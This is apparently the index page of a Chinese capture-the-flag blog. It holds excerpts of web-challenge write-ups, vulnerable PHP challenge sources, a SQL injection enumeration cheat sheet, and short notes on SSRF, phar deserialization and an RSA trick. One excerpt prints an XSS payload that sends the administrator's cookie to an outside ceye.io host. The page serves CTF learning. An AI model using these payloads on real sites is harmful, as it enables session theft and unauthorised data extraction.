Posted on

前言

打完湖湘杯紧接着就是红帽杯，两场比赛形成鲜明对比，吹一波pwn爷爷牛逼！

Web

Ticket_System

通过js可以找到postXML接口

14

Read more »

Posted on

前言

湖湘杯抢钱大赛，drl

Web

untar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
    $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
    echo $sandbox."</br>";
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
        die();
    $url  = str_replace("|", "", $_GET["url"]);
    $data = shell_exec("GET " . escapeshellarg($url));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
    highlight_file(__FILE__);
Read more »

Posted on

Web

Decade

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "No way!!!";
        }
}else {
        echo "No way!!!";
    }

这题跟字节跳动那题差不多，不过比字节跳动那题限制的多一点，这里记录一下

Read more »

Posted on

前言

好像比赛的时候环境挺卡的，一直打不开题目。。然后就放弃了，佛系摸鱼，赛后记录

Read more »

Posted on

在近期的roarctf中，babyrsa涉及到大数阶乘取模的问题，记录一下wilson定理在rsa中的使用

Read more »

Posted on

基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
猜数据库 
select database()
select group_concat(schema_name) from information_schema.schemata
某库的表 
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=database();
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database();
//找到部分存在自增id的表
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();
某表的列 
select group_concat(column_name) from information_schema.columns where table_name='xxxxx'
获取某列的内容 
select group_concat(column_name) from table_name
Read more »

Posted on

记录一道有意思的题目

页面主要有两个功能：发邮件、查看已发邮件。既然能发邮件，自然想到用xss打管理员cookie，测试了一下发现script、onerror、onload都被过滤了，可以使用 / 绕过

1
<svg/onload="document.location='http://lxgfcp.ceye.io/?'+document.cookie">
Read more »

Posted on

SSRF

小记录

SSRF，Server-Side Request Forgery，服务端请求伪造，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统。

形成原因：大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。

Read more »

Posted on

记录一下phar的反序列化

phar简介

phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件

Read more »